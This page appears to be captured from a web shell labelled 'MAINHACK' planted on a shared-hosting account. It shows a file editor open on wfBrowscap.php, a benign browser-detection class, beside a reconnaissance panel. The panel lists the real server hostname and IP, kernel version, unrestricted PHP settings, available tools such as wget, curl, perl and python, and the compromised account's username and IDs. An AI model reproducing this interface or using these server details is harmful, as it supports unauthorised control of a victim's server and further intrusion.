[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: wfBrowscap.php
<?php class wfBrowscap { protected $_cacheLoaded = false; protected $_userAgents = array(); protected $_browsers = array(); protected $_patterns = array(); protected $_properties = array(); protected $resultCache = array(); const COMPRESSION_PATTERN_START = '@'; const COMPRESSION_PATTERN_DELIMITER = '|'; const REGEX_DELIMITER = '@'; public static function shared() { static $_browscap = null; if ($_browscap === null) { $_browscap = new wfBrowscap(); } return $_browscap; } public function getBrowser($user_agent){ if (!$this->_cacheLoaded) { if (!$this->_loadCache(dirname(__FILE__) . '/wfBrowscapCache.php')) { throw new Exception('Cannot load this cache version - the cache format is not compatible.'); } } $browser = array(); foreach ($this->_patterns as $pattern => $pattern_data) { if (preg_match($pattern . 'i', $user_agent, $matches)) { if (1 == count($matches)) { $key = $pattern_data; $simple_match = true; } else { $pattern_data = unserialize($pattern_data); array_shift($matches); $match_string = self::COMPRESSION_PATTERN_START . implode(self::COMPRESSION_PATTERN_DELIMITER, $matches); if (!isset($pattern_data[$match_string])) { continue; } $key = $pattern_data[$match_string]; $simple_match = false; } $browser = array( $user_agent, trim(strtolower($pattern), self::REGEX_DELIMITER), $this->_pregUnQuote($pattern, $simple_match ? false : $matches) ); $browser = $value = $browser + unserialize($this->_browsers[$key]); while (array_key_exists(3, $value)) { $value = unserialize($this->_browsers[$value[3]]); $browser += $value; } if (!empty($browser[3])) { $browser[3] = $this->_userAgents[$browser[3]]; } break; } } $array = array(); foreach ($browser as $key => $value) { if ($value === 'true') { $value = true; } elseif ($value === 'false') { $value = false; } $array[$this->_properties[$key]] = $value; } return $array; } protected function _loadCache($cache_file){ $cache_version = null; $browsers = array(); $userAgents = array(); $patterns = array(); $properties = array(); $this->_cacheLoaded = false; require $cache_file; $this->_browsers = $browsers; $this->_userAgents = $userAgents; $this->_patterns = $patterns; $this->_properties = $properties; $this->_cacheLoaded = true; return true; } protected function _pregUnQuote($pattern, $matches){ $search = array( '\\' . self::REGEX_DELIMITER, '\\.', '\\\\', '\\+', '\\[', '\\^', '\\]', '\\$', '\\(', '\\)', '\\{', '\\}', '\\=', '\\!', '\\<', '\\>', '\\|', '\\:', '\\-', '.*', '.', '\\?' ); $replace = array( self::REGEX_DELIMITER, '\\?', '\\', '+', '[', '^', ']', '$', '(', ')', '{', '}', '=', '!', '<', '>', '|', ':', '-', '*', '?', '.' ); $result = substr(str_replace($search, $replace, $pattern), 2, -2); if ($matches) { foreach ($matches as $one_match) { $num_pos = strpos($result, '(\d)'); $result = substr_replace($result, $one_match, $num_pos, 4); } } return $result; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154